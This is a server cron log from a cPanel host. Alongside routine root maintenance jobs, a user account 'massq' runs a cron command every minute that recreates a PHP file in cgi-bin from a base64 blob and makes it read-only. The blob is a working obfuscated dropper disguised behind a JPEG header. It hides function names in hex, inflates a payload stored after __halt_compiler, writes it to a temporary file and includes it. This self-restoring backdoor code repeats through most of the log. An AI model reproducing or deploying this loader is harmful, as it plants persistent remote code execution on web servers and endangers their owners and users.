Sep 10 15:10:01 server CROND[20948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:10:01 server CROND[20949]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:10:01 server CROND[20952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:10:01 server CROND[20950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:10:01 server CROND[20957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:11:01 server CROND[21751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:11:01 server CROND[21752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:11:01 server CROND[21753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:12:01 server CROND[22120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:12:01 server CROND[22121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:12:01 server CROND[22122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:12:01 server CROND[22123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:13:01 server CROND[22581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:13:01 server CROND[22588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:13:01 server CROND[22589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:14:01 server CROND[23128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:14:01 server CROND[23127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:14:01 server CROND[23130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:15:01 server CROND[23506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:15:01 server CROND[23507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:15:01 server CROND[23514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:15:01 server CROND[23523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:15:01 server CROND[23520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:15:01 server CROND[23525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:15:01 server CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 15:15:01 server CROND[23522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:16:01 server CROND[24430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:16:01 server CROND[24431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:16:01 server CROND[24433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:17:02 server CROND[24799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:17:02 server CROND[24801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:17:02 server CROND[24800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:18:01 server CROND[25261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:18:01 server CROND[25262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:18:01 server CROND[25263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:19:01 server CROND[25674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:19:01 server CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:19:01 server CROND[25676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:20:01 server CROND[26061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:20:01 server CROND[26062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:20:01 server CROND[26065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:20:01 server CROND[26069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:20:01 server CROND[26067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:20:01 server CROND[26071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:20:01 server CROND[26070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:20:01 server CROND[26066]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:20:01 server CROND[26068]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:21:01 server CROND[26928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:21:01 server CROND[26929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:21:01 server CROND[26930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
